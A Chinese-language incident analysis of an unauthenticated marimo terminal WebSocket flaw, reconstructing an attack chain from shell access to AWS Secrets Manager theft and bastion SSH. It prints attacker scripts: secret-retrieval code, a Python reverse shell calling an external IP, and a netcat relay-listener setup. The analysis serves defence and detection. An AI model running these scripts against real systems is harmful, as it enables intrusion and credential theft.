1. 根本原因:WebSocket 端點缺少認證

CVE-2026-39987(CVSS 9.3,GHSA-2679-6mx9-h9xc)影響所有 0.20.4 及之前的 marimo 版本 [2] 。有漏洞的端點 /terminal/ws 透過 WebSocket 連線暴露一個互動式虛擬終端(PTY)shell。與應用程式其他 WebSocket 路由不同——那些路由會在接受連線前正確呼叫 validate_auth() 檢查——終端端點只檢查執行模式與平台支援,完全省略認證 [1][2] 。任何能對該路徑開啟 WebSocket 的客戶端,都會取得以 marimo 程序使用者身分執行的完整互動式 shell,無論該實例是否設定了認證。在 0.23.0 版本中修復的方式,是將缺失的 validate_auth() 呼叫接進終端處理常式 [1] 。這類缺陷──某個端點在未提示的情況下偏離了同類端點的驗證模式──在那些將 WebSocket 路由疊加於既有 HTTP 驗證模型的應用中,是反覆出現的 pre-auth RCE 根源,因為基於中介層的驗證防護並不會自動套用到協定升級後的連線。

marimo RCE 飆出 AI 級攻擊速度?你的 EC2 Bastion 還安全嗎? | 資訊安全新聞

2. 攻擊序列概觀

觀察到的 session 遵循一致的五階段模式:透過未認證終端取得初始存取、網路偵察、從主機上兩個獨立介面竊取認證、從 AWS Secrets Manager 取回下游 SSH key,以及對 bastion 主機進行認證 [1] 。以下序列重建這條攻擊鏈中完成速度最快的一個循環,其中 WebSocket 連線與 bastion 認證之間的間隔為八秒 [1]

sequenceDiagram participant A as Attacker Client participant M as marimo /terminal/ws participant SM as AWS Secrets Manager participant B as SSH Bastion Host A->>M: Open WebSocket (no auth token) Note over M: validate_auth() never called M-->>A: Full interactive PTY shell A->>M: Run pre-staged boto3 chain script M->>SM: GetSecretValue(SecretId) using harvested IAM key SM-->>M: SecretString (bastion SSH private key) M->>M: Write key to /tmp/bastion_key (chmod 0600) M->>B: SSH auth using retrieved private key B-->>M: Session established Note over A,B: WebSocket open to bastion auth ≈ 8 seconds

圖 1 — 從未認證 WebSocket 連線到 bastion SSH 認證的重建漏洞利用序列。

3. 認證竊取與 Secrets Manager 取回

攻擊者從遭入侵主機上的兩個獨立介面取得 AWS 認證:程序環境/認證檔案,以及應用程式 Redis 後端回傳的值 [1] 。這兩組認證在出現在任何已記錄的終端 session 之前,都先透過 GetCallerIdentity 驗證,之後兩者又被嘗試用於 Secrets Manager,這顯示出的是一個逐步探索的過程,而非單純的幸運猜中 [1] 。以下重現第一個用於取回 bastion secret 的指令碼。

程式碼 1 — 區域備援 Secrets Manager 取回

  1. import boto3, json
  2. try:
  3. # First attempt uses us-east-1 with hardcoded credentials already
  4. # harvested from the compromised host (not read from environment),
  5. # indicating the operator was iterating against known-good creds.
  6. client = boto3.client("secretsmanager",
  7. aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
  8. aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
  9. region_name="us-east-1")
  10. resp = client.get_secret_value(SecretId="REDACTED")
  11. val = resp.get("SecretString", "")
  12. if not val:
  13. val = resp.get("SecretBinary", b"").decode()
  14. print("SECRET_START")
  15. print(val)
  16. print("SECRET_END")
  17. except Exception as e:
  18. print(f"AWS_ERR:{e}")
  19. # On failure, the script assumes the secret exists in a different
  20. # region and iterates through a fixed candidate list rather than
  21. # querying region metadata — a brute-force discovery pattern that
  22. # is detectable in CloudTrail as denied calls across regions
  23. # within a short window.
  24. for region in ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]:
  25. try:
  26. c2 = boto3.client("secretsmanager",
  27. aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
  28. aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
  29. region_name=region)
  30. r2 = c2.get_secret_value(SecretId="REDACTED")
  31. val = r2.get("SecretString", "")
  32. if not val:
  33. val = r2.get("SecretBinary", b"").decode()
  34. print(f"FOUND_IN_{region}")
  35. print("SECRET_START")
  36. print(val)
  37. print("SECRET_END")
  38. break
  39. except Exception as e2:
  40. print(f"REGION_{region}:{e2}")

這個程式碼的控制流程在架構上意義重大:例外處理常式不是防禦性備援,而是主要的探索機制,因為操作者事先不知道目標 secret 位於哪個 AWS 區域。AWS Secrets Manager 依設計以區域為範圍,而為了災難復原而設定跨區域 secret 複寫的組織 [3] ,會在無意間擴大這個確切的攻擊面,因為對某一區域有效的竊得認證,可以盲目地對其他數個區域重試,直到其中一個回傳 secret。

程式碼 2 — 帶結構偵測的持久化 key 取回

  1. import boto3, json, os, sys
  2. # Credentials supplied via environment variables in this revision,
  3. # rather than hardcoded — a refinement over Script 1.
  4. client = boto3.client("secretsmanager")
  5. try:
  6. resp = client.get_secret_value(SecretId="REDACTED")
  7. secret = resp.get("SecretString", "")
  8. if not secret:
  9. secret = resp.get("SecretBinary", b"").decode()
  10. print("SECRET_RETRIEVED")
  11. print(f"SECRET_LEN:{len(secret)}")
  12. # Handles both JSON-structured secrets (e.g. {"private_key": "..."})
  13. # and raw-string secrets, since Secrets Manager does not enforce
  14. # a schema on SecretString content.
  15. try:
  16. data = json.loads(secret)
  17. for k, v in data.items():
  18. if "key" in k.lower() or "private" in k.lower():
  19. with open("/tmp/bastion_key", "w") as f:
  20. f.write(v)
  21. os.chmod("/tmp/bastion_key", 0o600) # matches OpenSSH
  22. # private-key perms
  23. print(f"KEY_FIELD:{k}")
  24. print(f"KEY_HEAD:{v[:60]}")
  25. print("KEY_SAVED:/tmp/bastion_key")
  26. else:
  27. print(f"FIELD:{k}={str(v)[:100]}")
  28. except json.JSONDecodeError:
  29. with open("/tmp/bastion_key", "w") as f:
  30. f.write(secret)
  31. os.chmod("/tmp/bastion_key", 0o600)
  32. print(f"RAW_KEY_HEAD:{secret[:60]}")
  33. print("KEY_SAVED:/tmp/bastion_key")
  34. except Exception as e:
  35. print(f"AWS_ERR:{e}")
  36. # Falls back to enumerating all secrets visible to this principal
  37. # if the specific SecretId is wrong or inaccessible.
  38. try:
  39. secrets = client.list_secrets(MaxResults=20)
  40. for s in secrets.get("SecretList", []):
  41. print(f"SECRET_LIST:{s['Name']}")
  42. except Exception as e2:
  43. print(f"LIST_ERR:{e2}")

檔案權限呼叫 os.chmod("/tmp/bastion_key", 0o600) 模仿 OpenSSH 本身對 private key 檔案強制的模式,讓指令碼的輸出可以直接被標準 ssh 呼叫使用,無需手動修正權限的步驟。這與建議的 IAM 實務一致:principal 層級的 IAM 政策應將 secretsmanager:GetSecretValue 的範圍限定在特定角色合法需要的 secret [4] ,如此一來,對範圍設定正確的 notebook 主機 IAM 角色而言,這個呼叫會以 AccessDeniedException 失敗。

4. Fallback Reverse shell 與 Relay Setup

在 Secrets Manager 攻擊鏈進行的同時,操作者部署了一個僅使用標準函式庫的 Reverse shell 及一個 Remote listener,讓入侵行動擁有備援的控制通道,而非僅依賴 bastion SSH 路徑 [1]

程式碼 3 — Direct reverse shell

  1. import socket, subprocess, os, sys
  2. try:
  3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4. s.settimeout(10) # added after a prior hang,
  5. # per the primary source
  6. s.connect(("45.79.187.72", 4444))
  7. os.dup2(s.fileno(), 0) # redirect stdin
  8. os.dup2(s.fileno(), 1) # redirect stdout
  9. os.dup2(s.fileno(), 2) # redirect stderr
  10. subprocess.call(["/bin/bash", "-i"])
  11. except Exception as e:
  12. print(f"SHELL_ERR:{e}", file=sys.stderr)

這個程式碼只使用 socket os.dup2 subprocess ——沒有第三方依賴、沒有混淆,除了用來將它放入 /tmp/ 的外層 base64 傳輸包裝外也沒有其他編碼 [1] os.dup2 三重奏是 Unix 上將 Spawned shell 的標準串流重新綁定到 socket 檔案描述符的經典技巧,無需任何特殊工具就能產生 Interactive remote shell。

程式碼 4 — SSH key 類型偵測與 listener 啟動

  1. #!/usr/bin/env python3
  2. import paramiko, io, time, sys
  3. with open("/tmp/relay_key", "r") as f:
  4. key_data = f.read()
  5. print(f"KEY_LEN: {len(key_data)}", file=sys.stderr)
  6. print(f"KEY_HEAD: {key_data[:50]}", file=sys.stderr)
  7. # The operator does not know the retrieved key's algorithm in advance,
  8. # so each supported paramiko key class is tried in turn until one
  9. # parses successfully.
  10. key = None
  11. for KeyClass in [paramiko.RSAKey, paramiko.Ed25519Key, paramiko.ECDSAKey]:
  12. try:
  13. key = KeyClass.from_private_key(io.StringIO(key_data))
  14. print(f"KEY_TYPE: {KeyClass.__name__}", file=sys.stderr)
  15. break
  16. except Exception as e:
  17. print(f"TRY_{KeyClass.__name__}: {e}", file=sys.stderr)
  18. continue
  19. if not key:
  20. print("FAILED_ALL_KEY_TYPES", file=sys.stderr)
  21. sys.exit(1)
  22. client = paramiko.SSHClient()
  23. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  24. try:
  25. client.connect("45.79.187.72", username="root", pkey=key, timeout=10)
  26. print("SSH_CONNECTED", file=sys.stderr)
  27. client.exec_command("pkill -f 'nc.*4444' 2>/dev/null") # clear any
  28. # stale listener
  29. time.sleep(1)
  30. client.exec_command("nohup nc -lvp 4444 > /tmp/revshell.log 2>&1 &")
  31. time.sleep(2)
  32. _,o,_ = client.exec_command("ss -tlnp | grep 4444") # confirm bind
  33. verify = o.read().decode().strip()
  34. print(f"LISTENER: {verify}", file=sys.stderr)
  35. _,o2,_ = client.exec_command("hostname; id")
  36. info = o2.read().decode().strip()
  37. print(f"RELAY_INFO: {info}", file=sys.stderr)
  38. client.close()
  39. print("RELAY_READY") # stdout status flag consumed by a
  40. # calling/orchestrating script
  41. except Exception as e:
  42. print(f"SSH_ERROR: {e}", file=sys.stderr)

這個程式碼與前幾個程式碼一致地將診斷輸出放在 stderr 、單一狀態 token( RELAY_READY )放在 stdout ,這顯示這套工具箱的設計是控制程式碼以程式化控制設計,而不只是互動式地逐行執行 [1]

5. 一個具啟發性的自動化失效:EC2 Instance Connect

在兩個 WebSocket session 之間,一個背景程序嘗試使用 AWS EC2 Instance Connect 建立第二條獨立的持久化路徑,意圖將攻擊者控制的 Public key 直接推送到目標執行個體,完全繞過 Secrets Manager [1] 。這個序列說明了常見的自動化缺陷:本應填入 Target instance ID 的列舉步驟因授權錯誤而失敗,但指令碼仍繼續使用未初始化或哨兵值(Sentinel value)來呼叫 key-push。

sequenceDiagram participant S as Attacker Script participant E as AWS EC2 API participant I as IAM Evaluation S->>E: DescribeInstances E-->>S: UnauthorizedOperation S->>E: DescribeKeyPairs E-->>S: AccessDenied S->>E: DescribeInstanceInformation E-->>S: AccessDenied Note over S: instance-id variable never populated
defaults to placeholder i-0000000000000000 S->>E: SendSSHPublicKey(i-0000000000000000) E->>I: Validate instance identifier I-->>E: Malformed ID — reject before IAM policy check E-->>S: Blocked

圖 2 — EC2 Instance Connect 列舉與 key-push 失敗。

格式錯誤的執行個體識別碼 i-0000000000000000 使 AWS 在輸入驗證階段就拒絕 SendSSHPublicKey 呼叫,甚至還未進入 IAM policy evaluation [1] 。若列舉成功,這條路徑將可提供直接、無密碼的 SSH 進入執行個體,完全不觸及 Secrets Manager,其結果會比實際成功的認證樞紐路徑危險得多。這種「Three-denial-then-placeholder-call」的模式,是高保真度的行為指紋,可將這條特定的自動化攻擊鏈與一般掃描流量區分開來 [1]

6. 討論:攻擊鏈形狀重於指令風格

研究的一項核心發現是:以操作者類別特徵為依據的偵測工程——例如區分 LLM 生成的 shell 語法與手打指令(hand-typed command)——是不可靠的訊號,因為這兩類操作者最終都收斂到相同的底層 API 序列: secretsmanager:GetSecretValue 呼叫、key 寫入磁碟,以及對下游主機的對外 SSH handshake [1] 。這呼應了一般的架構教訓:暴露給 notebook 主機上任何程序的認證——無論是透過環境變數、資料層 cache 或掛載的認證檔案——都構成單一的信任邊界;攻擊者只需找到一個可存取的介面,而上述工具箱顯示,指令碼只需極少的額外工程努力,就能依序探查數個這類介面 [1][4]